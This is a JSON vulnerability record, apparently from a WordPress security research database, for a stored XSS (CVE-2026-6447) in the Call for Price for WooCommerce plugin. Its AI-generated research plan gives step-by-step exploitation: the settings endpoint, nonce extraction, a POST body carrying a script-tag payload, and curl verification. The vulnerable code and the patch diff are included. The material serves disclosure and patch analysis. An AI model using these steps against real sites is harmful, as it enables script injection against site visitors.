[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f5dYbny2mJYqq3ELNvzoDhHkFHCPzuMmO_Y32M-VVkTk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-6447","call-for-price-for-woocommerce-authenticated-administrator-stored-cross-site-scripting-via-call-for-price-label-settings","Call for Price for WooCommerce \u003C= 4.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Call for Price' Label Settings","The Call for Price for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.","woocommerce-call-for-price",null,"\u003C=4.2.0","4.3.0","medium",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-05-01 00:00:00","2026-05-02 05:29:33",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7bffb16d-38dc-49b8-96bd-c13923069d9c?source=api-prod",1,[22,23,24,25],"includes\u002Fadmin\u002Fclass-wc-call-for-price-settings-product-types.php","includes\u002Fclass-wc-call-for-price.php","readme.txt","woocommerce-call-for-price.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-6447\n\n## 1. Vulnerability Summary\nThe **Call for Price for WooCommerce** plugin (up to version 4.2.0) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin explicitly bypasses WooCommerce's standard setting sanitization for specific textarea fields. This allows an administrator (or any user with access to plugin settings) to inject arbitrary HTML and scripts. While administrators usually have the `unfiltered_html` capability, this vulnerability is critical in **WordPress Multisite** environments or installations where `DISALLOW_UNFILTERED_HTML` is enabled, as it allows bypass of those restrictions.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin.php?page=wc-settings&tab=alg_call_for_price&section=simple`\n- **Vulnerable Parameter**: `alg_wc_call_for_price_text_simple_single` (and other related textarea fields for different product types\u002Fviews).\n- **Authentication**: Administrator+ level permissions.\n- **Preconditions**: \n    - WooCommerce must be installed and active.\n    - `unfiltered_html` must be disabled (standard in Multisite or via `define( 'DISALLOW_UNFILTERED_HTML', true );`) to demonstrate the bypass of security controls.\n    - A product must exist with no price set to trigger the frontend rendering of the \"Call for Price\" label.\n\n## 3. Code Flow\n1. **Registration**: In `includes\u002Fadmin\u002Fclass-wc-call-for-price-settings-product-types.php`, the plugin registers a filter on `woocommerce_admin_settings_sanitize_option` in the constructor:\n   ```php\n   add_filter( 'woocommerce_admin_settings_sanitize_option', array( $this, 'unclean_custom_textarea' ), PHP_INT_MAX, 3 );\n   ```\n2. **Sanitization Bypass**: The method `unclean_custom_textarea` explicitly returns the `$raw_value` without any sanitization if the option type is `alg_wc_call_for_price_textarea`:\n   ```php\n   public function unclean_custom_textarea( $value, $option, $raw_value ) {\n       return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value;\n   }\n   ```\n3. **Setting Identification**: In `generate_settings_section()`, the textarea for the single product page is defined with the ID pattern: `alg_wc_call_for_price_text_simple_single` and type `alg_wc_call_for_price_textarea`.\n4. **Rendering**: On the frontend, in `includes\u002Fclass-wc-call-for-price.php`, the plugin retrieves these options using `get_option()` and outputs them to the page when a product has no price. The lack of `esc_html()` or strict `wp_kses()` on the frontend allows the stored script to execute.\n\n## 4. Nonce Acquisition Strategy\nThis exploit targets a standard WooCommerce settings page. WooCommerce protects these settings with a WordPress nonce.\n1. **Navigate**: Use `browser_navigate` to go to: `\u002Fwp-admin\u002Fadmin.php?page=wc-settings&tab=alg_call_for_price&section=simple`.\n2. **Extract**: Use `browser_eval` to extract the nonce from the hidden input field `_wpnonce`.\n   ```javascript\n   document.querySelector('input[name=\"_wpnonce\"]').value\n   ```\n3. **Alternative**: If the settings are saved via AJAX (less common for standard WC tabs but possible), look for the `wc_settings_params` localized script.\n\n## 5. Exploitation Strategy\n### Step 1: Preparation\n1. Create a Simple Product with an empty price using WP-CLI.\n2. Disable `unfiltered_html` to confirm the vulnerability.\n\n### Step 2: Injection\n1. Log into the WordPress admin panel.\n2. Navigate to the plugin settings page.\n3. Capture the `_wpnonce`.\n4. Send a POST request to `\u002Fwp-admin\u002Fadmin.php?page=wc-settings&tab=alg_call_for_price&section=simple` with the following payload:\n   - **Method**: `POST`\n   - **Content-Type**: `application\u002Fx-www-form-urlencoded`\n   - **Body Parameters**:\n     - `_wpnonce`: `[EXTRACTED_NONCE]`\n     - `_wp_http_referer`: `\u002Fwp-admin\u002Fadmin.php?page=wc-settings&tab=alg_call_for_price&section=simple`\n     - `alg_wc_call_for_price_text_simple_single`: `\u003Cstrong>Call for Price\u003C\u002Fstrong>\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n     - `save`: `Save changes`\n\n### Step 3: Triggering\n1. Navigate to the frontend URL of the product created in Step 1.\n2. Observe the execution of the JavaScript payload.\n\n## 6. Test Data Setup\n```bash\n# 1. Ensure WooCommerce is active (prerequisite)\nwp plugin activate woocommerce\n\n# 2. Create a product with no price\nPRODUCT_ID=$(wp post create --post_type=product --post_title=\"Vulnerable Product\" --post_status=publish --porcelain)\nwp post meta set $PRODUCT_ID _price \"\"\nwp post meta set $PRODUCT_ID _regular_price \"\"\n\n# 3. Enable the plugin and global settings\nwp option update alg_wc_call_for_price_enabled \"yes\"\nwp option update alg_wc_call_for_price_simple_enabled \"yes\"\nwp option update alg_wc_call_for_price_simple_single_enabled \"yes\"\n\n# 4. Disable unfiltered_html for the session\u002Fenvironment\n# This is usually done in wp-config.php, but for PoC we can simulate via a filter if needed \n# or just proceed as Administrator in a Multisite-like context.\n```\n\n## 7. Expected Results\n- The POST request to the settings page should return a `302 Redirect` back to the settings page with `settings-updated=1`.\n- The database option `alg_wc_call_for_price_text_simple_single` will contain the raw `\u003Cscript>` tag.\n- When viewing the product page, the HTML source will contain the unescaped script tag, and the browser will trigger the `alert()`.\n\n## 8. Verification Steps\n```bash\n# Check if the payload is stored exactly as sent\nwp option get alg_wc_call_for_price_text_simple_single\n# Expected: \u003Cstrong>Call for Price\u003C\u002Fstrong>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\n# Verify on frontend (via CLI to see raw HTML)\ncurl -s http:\u002F\u002Flocalhost:8080\u002F?p=$PRODUCT_ID | grep -F \"alert(document.domain)\"\n```\n\n## 9. Alternative Approaches\nIf the `simple` section is not the default, the payload can be sent to the general settings tab `alg_wc_call_for_price` or any other product type section (`variable`, `grouped`, `external`). \n\nIf the site has a custom theme that overrides WooCommerce templates, the injection point might differ, but the logic in `includes\u002Fclass-wc-call-for-price.php` hooks into `woocommerce_get_price_html`, which is the standard WooCommerce hook for price display across almost all themes.","The Call for Price for WooCommerce plugin is vulnerable to Stored Cross-Site Scripting (XSS) because it explicitly bypasses standard WooCommerce setting sanitization for its 'Call for Price' label fields. Authenticated administrators can inject arbitrary scripts into these settings, which execute on the frontend when a product with no price is viewed, bypassing security restrictions in WordPress Multisite or environments where unfiltered_html is disabled.","\u002F\u002F includes\u002Fadmin\u002Fclass-wc-call-for-price-settings-product-types.php line 68\npublic function unclean_custom_textarea( $value, $option, $raw_value ) {\n    return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value;\n}\n\n---\n\n\u002F\u002F includes\u002Fclass-wc-call-for-price.php line 238 (approx.)\nif ( true === $status ) {\n    return $price_html;\n} else {\n    return do_shortcode( $label );\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-call-for-price\u002F4.2.0\u002Fincludes\u002Fadmin\u002Fclass-wc-call-for-price-settings-product-types.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-call-for-price\u002F4.3.0\u002Fincludes\u002Fadmin\u002Fclass-wc-call-for-price-settings-product-types.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-call-for-price\u002F4.2.0\u002Fincludes\u002Fadmin\u002Fclass-wc-call-for-price-settings-product-types.php\t2025-04-15 07:37:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-call-for-price\u002F4.3.0\u002Fincludes\u002Fadmin\u002Fclass-wc-call-for-price-settings-product-types.php\t2026-04-23 06:53:26.000000000 +0000\n@@ -66,7 +66,10 @@\n \t\t * @since   3.1.0\n \t\t *\u002F\n \t\tpublic function unclean_custom_textarea( $value, $option, $raw_value ) {\n-\t\t\treturn ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value;\n+\t\t\tif ( 'alg_wc_call_for_price_textarea' === $option['type'] ) {\n+\t\t\t\treturn wp_kses_post( $raw_value );\n+\t\t\t}\n+\t\t\treturn $value;\n \t\t}\n \n \t\t\u002F**\n\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-call-for-price\u002F4.2.0\u002Fincludes\u002Fclass-wc-call-for-price.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-call-for-price\u002F4.3.0\u002Fincludes\u002Fclass-wc-call-for-price.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-call-for-price\u002F4.2.0\u002Fincludes\u002Fclass-wc-call-for-price.php\t2026-02-03 06:25:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-call-for-price\u002F4.3.0\u002Fincludes\u002Fclass-wc-call-for-price.php\t2026-04-23 06:53:26.000000000 +0000\n@@ -235,7 +235,7 @@\n \t\t\t\t\tif ( true === $status ) {\n \t\t\t\t\t\treturn $price_html;\n \t\t\t\t\t} else {\n-\t\t\t\t\t\treturn do_shortcode( $label );\n+\t\t\t\t\t\treturn wp_kses_post( do_shortcode( $label ) );\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t}\n@@ -678,7 +678,7 @@\n \t\t\t\t\tarray( 'product_id' => $_product_id )\n \t\t\t\t);\n \t\t\t}\n-\t\t\treturn do_shortcode( $label );\n+\t\t\treturn wp_kses_post( do_shortcode( $label ) );\n \t\t}\n \t}","1. Gain Administrator-level access to the WordPress site.\n2. Navigate to the WooCommerce settings page for the plugin: `\u002Fwp-admin\u002Fadmin.php?page=wc-settings&tab=alg_call_for_price&section=simple`.\n3. Identify a textarea field belonging to the custom type `alg_wc_call_for_price_textarea` (e.g., the field with ID `alg_wc_call_for_price_text_simple_single`).\n4. Extract the security nonce from the `_wpnonce` hidden input on the page.\n5. Submit a POST request to the settings endpoint containing the nonce and a malicious payload in the identified textarea (e.g., `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`).\n6. Ensure a WooCommerce product exists with an empty price field so the plugin triggers the \"Call for Price\" logic.\n7. Visit the public product page; the injected script will execute in the context of the user's browser.","gemini-3-flash-preview","2026-05-04 17:40:07","2026-05-04 17:40:26",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","4.2.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoocommerce-call-for-price\u002Ftags\u002F4.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-call-for-price.4.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoocommerce-call-for-price\u002Ftags\u002F4.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-call-for-price.4.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoocommerce-call-for-price\u002Ftags"]